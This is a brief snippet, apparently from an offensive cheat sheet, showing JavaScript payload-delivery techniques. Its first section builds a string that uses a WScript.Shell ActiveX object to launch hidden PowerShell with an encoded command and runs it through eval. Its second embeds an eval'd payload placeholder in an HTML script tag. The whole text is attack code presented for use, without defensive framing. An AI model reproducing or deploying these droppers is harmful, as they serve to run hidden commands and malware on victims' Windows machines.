JavaScript

1) Obfuscated JavaScript

var cmd = "";
cmd += "var shell = new ActiveXObject('WScript.Shell');";
cmd += "shell.Run('cmd.exe /c powershell.exe -nop -w hidden -enc [Base64 Encoded Command]');";
eval(cmd);

2) Embedding JavaScript payloads in HTML documents

<script>
    var cmd = "[Your JavaScript Command]";
    eval(cmd);
</script>